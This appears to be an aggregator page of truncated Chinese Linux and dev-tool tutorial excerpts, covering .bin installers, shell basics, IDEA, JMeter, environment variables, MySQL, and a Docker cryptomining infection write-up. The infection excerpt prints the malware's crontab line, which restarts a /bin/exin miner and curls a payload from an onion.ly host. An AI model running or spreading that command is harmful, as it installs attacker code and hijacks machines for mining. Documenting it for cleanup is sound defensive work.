bin

Linux .bin安装文件制作

倖福魔咒の 提交于 2020-01-23 02:33:08
一 Linux安装文件 Linux常见的安装为tar,zip,gz,rpm,deb,bin等。我们可以简单的分为三类, 第一:打包或压缩文件tar,zip,gz等,一般解压后即可,或者解压后运行sh文件; 第二:对应的有管理工具的deb,rpm等,通常的这类安装文件可以通过第三方的命令行或UI来简单的安装,例如Ubuntu中的apt来安装deb,Redhat中的yum来安装rpm; 第三:像.bin类,其实就是把sh和zip打包为bin,或把sh和rpm打包为bin等,当在命令行运行bin安装文件时,其实就是bin里面的sh来解压bin中的zip或安装rpm的过程; 二 .bin安装文件 .bin安装文件可以认为是sh文件和zip或rpm等其他安装文件的打包形式。如下图: .bin安装文件的优点: 1)只有一个包即.bin文件; 2)可以直接运行在Linux上,因为他是sh(他的前半部分是sh); 3)在sh中可以包含需要用户接收的协议信息,而且提示用户接收,如果用户不接收,安装退出; 三 .bin安装文件执行 1)超级简单: sh xxxx.bin 或直接xxxx.bin。 2)过程如下: 四 .bin安装文件制作 1) 组成之sh文件(例子:YYYY.bin) # ! / bin / sh PATH =/ usr / bin: / bin umask 022 echo_args

File “/usr/share/createrepo/genpkgmetadata.py”,line 207 except EnvirontmentError,e:

久未见 提交于 2020-01-22 03:56:46
Error: 命令行输入createrepo报错: 修改genpkgmetadata.py 开头的环境,python后面加2.7,保存退出,执行creatrepo命令依然报错如上图。 因为这个文件默认的环境变量配置是CentOS7自带的Python2.7 Solution: # 修改软连接,使之python指向python2.7 # which python 查看Python的安装路径 /usr/bin/python # 切换到软连接存放位置 cd /usr/bin # 查看现有python的软连接指向的版本 ls -al python # 查看所有的软连接指向 ls -al *python* 或者 ls -l /usr/bin | grep python [root@6d6c69d1281f bin]# ls -al *python* lrwxrwxrwx 1 root root 18 Jan 21 08:13 python -> /usr/bin/python2.7 lrwxrwxrwx 1 root root 9 Oct 1 01:15 python2 -> python2.7 -rwxr-xr-x 1 root root 7216 Aug 7 00:52 python2.7 lrwxrwxrwx 1 root root 7 Oct 1 01:15 python.bak ->

鸟哥的Linux私房菜

可紊 提交于 2020-01-22 02:05:50
查看文件的是具体时间: ls -l --full-time /etc/xxx 文件的分类及符号表 一般文件 - 目录文件 d 数据接口文件 s 链接文件 l 文件的存放 可分享 不可分享 不变 /usr 软件存放处 /etc 配置文件 /opt 第三方辅助软件 /boot 启动与内核文件 可变动 /var/mail 用户邮箱 /var/run 程序相关 /var/shool/news 新闻组 /var/lock 程序相关 Linux对文件名的限制 单一文件或者目录的最大容许文件名为255个英文字符和128个中文字符 常用命令解释 命令 解释 cat 由第一行开始显示文件内容 tac 从最后一行开始显示,可以看出tac是cat的倒着写 -n (书上写nl) 显示的时候,同时输出行号 more 一页一页地显示文件内容 less 与more相似,但是比more更好的是,它可以往前翻页 head 只看前面几行 tail 只看后面几行 od 以二进制的方式读取文件内容 linux 编写shell脚本 # !/bin/bash PATH = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin export PATH echo -e "Hello World! \a \n" exit 0 echo ( 选项 ) ( 参数 )

Linux shell编程学习笔记(一)

て烟熏妆下的殇ゞ 提交于 2020-01-21 04:57:27
Linux shell编程笔记 一:脚本开头固定格式: #!/bin/bash 申明这是一个shell脚本文件 二:脚本保存后缀为 .sh ;运行.sh的方式有两种: (1)./接文件名.sh的方式运行 (2)/bin/sh ./文件名.sh 区别:第一种直接以点斜杠运行的方式,有时候需要先赋予文件可执行权限,第二种方式则可以直接运行,不需要赋予执行权限 三:shell脚本 (1)变量定义:直接A=123或者FILE=“D:/xuexi/” 即可 (2)变量的引用:$A或者$FILE 注意$与变量名之间不能有空格;$不仅可以引用变量,也可以直接引用其他命令的执行结果,然后赋值给其他变量 如:USER=$(cat /root/users.txt) (3)系统常用的一些变量引用: $# 是传给脚本的参数个数 $0 是脚本本身的文件名 $1 是脚本后接的第一个参数 $2 是脚本后接的第二个参数 $@ 是传给脚本的所有参数列表,"$1" "$2" "$3" … "$n" $* 是以一个单字符串显示传给脚本的所有参数,"$1 $2 $3 … $n" $$ 是脚本运行的当前进程ID号 $? 是最后运行命令的结束状态码,0表示没有错误,其他表示有错误 (4)Linux中没有单引号 表示字符或者字符串需要用双引号引起来; 注意单引号与反引号的区别:反引号是键盘上Esc键下的那个键,与单引号是不同的

【IDEA】MAC 修改".vmoptions"导致 IDEA 无法启动 解决方案

≯℡__Kan透↙ 提交于 2020-01-20 18:35:17
Idea Version: “2019.3” Question: 在IDEA的“Help | Edit Custom VM Options”菜单中修改了“.vmoptions”配置,(改错了文件路径),重启多次,软件一直打不开。即便卸载重装软件,问题依然复现。 一、".vmoptions" 官方描述 Configuring JVM options and platform properties 通过学习上述文档,发现 1)IDEA中“.vmoptions”文件有2份 VM options are loaded from the IDE_HOME\bin\<product>[bits][.exe].vmoptions file or from the copy of this file in the config directory (if it exists). Please note that .vmoptions file from the config directory has the priority over the original file in the bin directory. VM选项是从“ IDE_HOME\bin\<product>[bits][.exe].vmoptions ”文件 或 config目录中.vmoptions的副本 中加载的。注意

环境变量说明

旧时模样 提交于 2020-01-20 09:25:05
在自定义安装软件的时候,经常需要配置环境变量,下面列举出各种对环境变量的配置方法。 下面所有例子的环境说明如下: 系统:CentOS 7 用户名:root 需要配置JDK环境变量路径:/usr/java/jdk/bin 一、读取环境变量 读取环境变量的方法有两种: export 命令显示当前系统定义的所有环境变量 echo $PATH 命令输出当前的 PATH 环境变量的值 这两个命令执行的效果如下: [root@localhost ~]# export declare -x HISTCONTROL="ignoredups" declare -x HISTSIZE="1000" declare -x HOME="/root" declare -x HOSTNAME="localhost.localdomain" declare -x LANG="en_US.UTF-8" declare -x LESSOPEN="||/usr/bin/lesspipe.sh %s" declare -x LOGNAME="root" declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37

Linux安装redis实战--超详细讲解

自作多情 提交于 2020-01-20 04:26:26
2020年1月6日 周一 15:05 1、下载解压redis安装包 1)进入到用户级程序目录下cd /usr/local/ 注:Linux也有安装规范,一般安装软件都放在这个目录下。 2)在线下载redis压缩包 [root@localhost local]# wget http://download.redis.io/releases/redis-5.0.5.tar.gz [root@localhost local]# ls bin etc games include lib lib64 libexec redis-5.0.5.tar.gz sbin share src 3)解压 [root@localhost local]# tar -zxf redis-5.0.5.tar.gz ##为了目录简洁,此步之后建议删除压缩包文件 4)新建一个/usr/local/redis目录,把解压出来的目录移到redis目录下 [root@localhost local]# pwd /usr/local/redis/redis-5.0.5 5)不过在这之前需要做如下几个准备工作,每一个工作都要、不然会报错 1>错误一: 错误原因:缺少cc命令 解决方法:安装gcc包 这里直接用简便的方式安装,自动处理依关系。 #yum -y install gcc 2>错误二: 引起错误的原因:这个是分配器

JMeter安装及配置

谁说我不能喝 提交于 2020-01-19 20:13:08
一、JDK安装和配置 1. JDK下载安装 a. JDK官网下载地址 https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 这里为了方便已经将JDK和JMeter都下载,可以在下方链接中获取到 链接:https://pan.baidu.com/s/1cN93s04jMQ8DtBA8_FR1sg 提取码:grbm b. 下载完成后双击安装JDK完成安装 安装好之后会有两个文件夹一个是jdk 一个是jre(运行环境包),配置环境变量时会用到jdk的路径 2. JDK环境变量配置 右键计算机属性->高级系统设置->系统属性->高级->环境变量->添加如下的系统变量: 变量名:【JAVA_HOME】 变量值:【D:\Program Files\Java\jdk1.8.0_221】(jdk安装路径) 变量名:【path】 变量值:【%JAVA_HOME%\bin】 变量名:【CLASSPATH】 变量值:【.;%JAVA_HOME%lib;%JAVA_HOME%lib\tools.jar】(注意最前面的点不能漏) 3. 验证JDK是否安装成功 运行cmd->输入java -version 显示java版本就表示jdk安装成功,如下图 二、JMeter下载及配置 1.

docker漏洞导致服务器沦为矿机

泪湿孤枕 提交于 2020-01-19 14:51:32
问题 本人有一台腾讯云的最低配云服务器,本来就是自己自娱自乐用的,前些日子在此服务器上部署了docker,在docker中运行了springboot项目及nginx,昨日在服务器中查看时忽然发现docker中运行的容器无缘无故pause,有时还会被删除掉,故开始查询故障,top命令查看其有进程/bin/exin占cpu竟然99.9%,故上网一查,得知被人当做矿机了. 解决 按照网上搜索exin进程病毒清理,主要是通过crontab定时任务来执行此进程的,该定时任务会检查是否存在exin进程,若不存在则利用curl在网上下载脚本,定时任务脚本如下: if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ];then /bin/exin;fi;(curl --retry 2 --connect-timeout 26 --max-time 75 -fsSLk https://eknr73utr7u7bzwo.onion.ly/wp-content/ekK9 k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537

windows下安装mysql

橙三吉。 提交于 2020-01-19 05:16:20
MySQL安装文件分为两种,一种是msi格式的,一种是zip格式的。如果是msi格式的可以直接点击安装,按照它给出的安装提示进行安装(相信大家的英文可以看懂英文提示),一般MySQL将会安装在C:\Program Files\MySQL\MySQL Server 5.6 该目录中;zip格式是自己解压,解压缩之后其实MySQL就可以使用了,但是要进行配置。 解压之后可以将该文件夹改名,放到合适的位置。 完成上述步骤之后,很多用户开始使用MySQL,但会出现图示的错误。这是因为没有配置环境变量所致。配置环境变量很简单: 我的电脑->属性->高级->环境变量 选择PATH,在其后面添加: 你的mysql bin文件夹的路径 (如:D:\mysql-5.6\bin ) PATH=.......;D:\mysql-5.6\bin (注意是追加,不是覆盖) 配置完环境变量之后先别忙着启动mysql,我们还需要修改一下配置文件(如果没有配置,之后启动的时候就会出现图中的错误哦!:错误2 系统找不到文件),mysql-5.6.1X默认的配置文件是在D:\mysql-5.6\bin\my-default.ini,或者自己建立一个my.ini文件, 在其中修改或添加配置: [mysqld] basedir=D:\mysql-5.6(mysql所在目录) datadir=D:\mysql-5.6